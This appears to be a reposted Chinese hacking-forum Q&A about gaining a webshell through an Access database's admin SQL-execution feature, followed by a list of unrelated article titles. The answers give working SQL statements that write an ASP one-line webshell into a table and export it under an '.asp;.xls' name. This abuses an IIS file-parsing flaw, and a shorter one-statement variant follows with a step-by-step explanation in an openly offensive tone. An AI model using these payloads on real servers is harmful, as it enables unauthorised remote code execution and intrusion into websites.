ACCESS数据库后台sql语句执行导shell
来源:互联网 发布:结婚app软件排行 编辑:程序博客网 时间:2024/06/01 10:49
问:
一个垃圾论坛,access数据库,无其他可利用之处,不过有个sql语句执行功能,绝对路径也知道,小弟对sql语句不懂,记得如果是mysql数据库root权限可以导出SHELL,这个是否也能导出shell呢?需要什么条件,语句又是什么?网上翻不到资料。麻烦各位。
答:
create table cmd (a varchar(50))
insert into cmd (a) values (<%execute request("a")%>)
select * into [a] in f:hostqhdyxtweba.asp;.xls excel 4.0; from cmd
drop table cmd
解释如下:
1.create table a (a varchar(50)) 建立一个有一个A字段的表 表名为a 字段类型为字符 长度为50
2.insert into a (a) values (<%execute request("a")%>) 在表a的a字段插入密码为a的一句话木马
3.select * into [a] in F:jtworka.asp;.xls excel 4.0; from a 把表a的内容导出为物理路径的一个
EXCEL文件,为什么用excel文件,因为ACCESS数据库不允许导出其他危险格式。我们导出为EXCEL后在利用IIS解析漏洞就可以变成我们的小马了。很*的说~~
4.drop table a 丢家伙闪人 射完就走!
小弟的提问,没两分钟大家就回答了,强烈顶t00ls牛淫。
这个更简单:
Access利用后台SQL执行命令功能导出WebShell:
SELECT <%execute request("a")%> into [vote] in d:webx.asp;.xls excel 8.0; from vote
后台提供SQL执行功能且知道绝对路径方可使用(vote为已知表段)
本文来源于:逍遥复仇 http://www.cqzh.cn/
- ACCESS数据库后台sql语句执行导shell
- ACCESS数据库后台sql语句执行导webshell
- Access数据库操作,连接数据库、执行SQL语句等
- OpenCart网站后台执行数据库SQL语句功能插件
- access 如何执行sql语句
- Shell脚本中执行sql语句,操作mysql数据库
- access数据库用SQL语句
- SQL Serve中SQL语句执行Access中子SQL语句
- 在Access查询中执行SQL语句
- 怎样在Access中执行sql语句。
- 在Access中执行SQL语句
- ACCESS:跨数据库查询的SQL语句
- ACCESS数据库分页的SQL语句
- ACCESS:跨数据库查询的SQL语句
- ACCESS:跨数据库查询的SQL语句
- ACCESS:跨数据库查询的SQL语句
- ACCESS:跨数据库查询的SQL语句
- ACCESS:跨数据库查询的SQL语句
- 用usermod -p修改的暗文密码问题
- 码农书架——图灵三月书讯
- c++软件开发第三方库大全
- go语言之初始化的构造函数
- vi快捷键大全
- ACCESS数据库后台sql语句执行导shell
- tomcat多域名配置
- 32位移植到64位 注意事项
- js 取小数点后几位
- 在Win32中管理虚拟内存——举例
- 我的第一次---用uboot 的tftp功能
- django coercing to Unicode: need string or buffer, long found
- Eclipse导入Hadoop源码项目
- Oracle存储过程创建及调用